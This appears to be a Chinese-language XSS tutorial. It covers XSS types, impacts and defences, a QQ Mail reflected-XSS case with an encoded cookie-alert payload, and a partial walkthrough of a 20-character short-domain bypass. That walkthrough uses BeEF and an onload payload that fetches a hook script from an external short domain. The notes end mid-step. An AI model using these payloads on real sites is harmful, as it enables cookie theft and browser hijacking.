目录
1.XSS相关知识点
1.1 XSS分类
XSS根据效果可以分为三类:
反射型XSS
我们上面的例子就是反射型的xss,就是把用户输入的数据“反射”给浏览器,也就是说,用户在访问恶意链接时,才能攻击成功,反射型xss也叫做非持久性xss。
存储型XSS
存储型xss会把用户输入的数据存储在服务器端,这种xss具备很强的稳定性,常见的场景就是,黑客写下一篇包含恶意js脚本的博客,其他用户浏览包含恶意js脚本的博客,会在他们浏览器上执行这段恶意代码。包含恶意js脚本的博客是保存在服务端的,所以这种xss攻击叫做“存储型xss"
DOM XSS
这类XSS非按照数据是否保存在服务的来划分的,DOM XSS与反射性XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。
1.2xss漏洞危害
1、⽹络钓鱼,包括盗取各类⽤户账号;
2、窃取⽤户cookies资料,从⽽获取⽤户隐私信息,或利⽤⽤户⾝份进⼀步对⽹站执⾏操作;
3、劫持⽤户(浏览器)会话,从⽽执⾏任意操作,例如进⾏⾮法转账、强制发表⽇志、发送电⼦邮件等;
4、强制弹出⼴告页⾯、刷流量等;
5、⽹页挂马,进⾏恶意操作,例如任意篡改页⾯信息、删除⽂章等;
6、进⾏⼤量的客户端攻击,如DDoS攻击;
7、获取客户端信息,例如⽤户的浏览历史、真实IP、开放端⼝等;
8、控制受害者机器向其他⽹站发起攻击;
9、结合其他漏洞,如CSRF漏洞,实施进⼀步作恶;
10、提升⽤户权限,包括进⼀步渗透⽹站;
11、传播跨站脚本蠕⾍等;
1.3XSS QQ邮箱攻击案例
攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。
于是攻击者构建出一个 URL,并引导用户去点击:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:
<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;
</script>
<script>
alert(document.cookie)
</script>
浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。
1.4预防XSS漏洞
①用户向服务器上提交的信息要对URL和附带的HTTP头、POST数据等进行查询,对不是规定格式、长度的内容进行过滤。
②实现Session标记、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
③确认接收的内容被妥善的规范化,仅包含最小的、安全的Tag,去掉任何对远程内容的引用,使用HTTP only的cookie。
2.复现20字符短域名绕过
2.1 linux虚拟机上beef-xss的安装
安装:sudo apt-get install beef-xss
如果不能成功安装:apt-get update
2.2 启动beef-xss 会自动打开网页
2.3在物理机上通过访问虚拟机的IP访问到beef-xss
2.4 忘记密码
查看user和passwd
vi /etc/beef-xss/config.yaml
2.5在kali上访问我们在小皮上搭建好的网站
2.6 首先在创建新相册名字的时候,我们先随意输出
F12看到这里将他将刚刚输入的值传到了a标签里面
打开beef-xss工具,将hook.js内容复制到你的服务器下的/var/www/html/telsm.co/inex.html中,curl你的http://192.168.78.156:3000/hook.js,成功访问后CMS通过<avg/οnlοad=$.getscript("//℡㏛.co")>,如果是20字符进行限制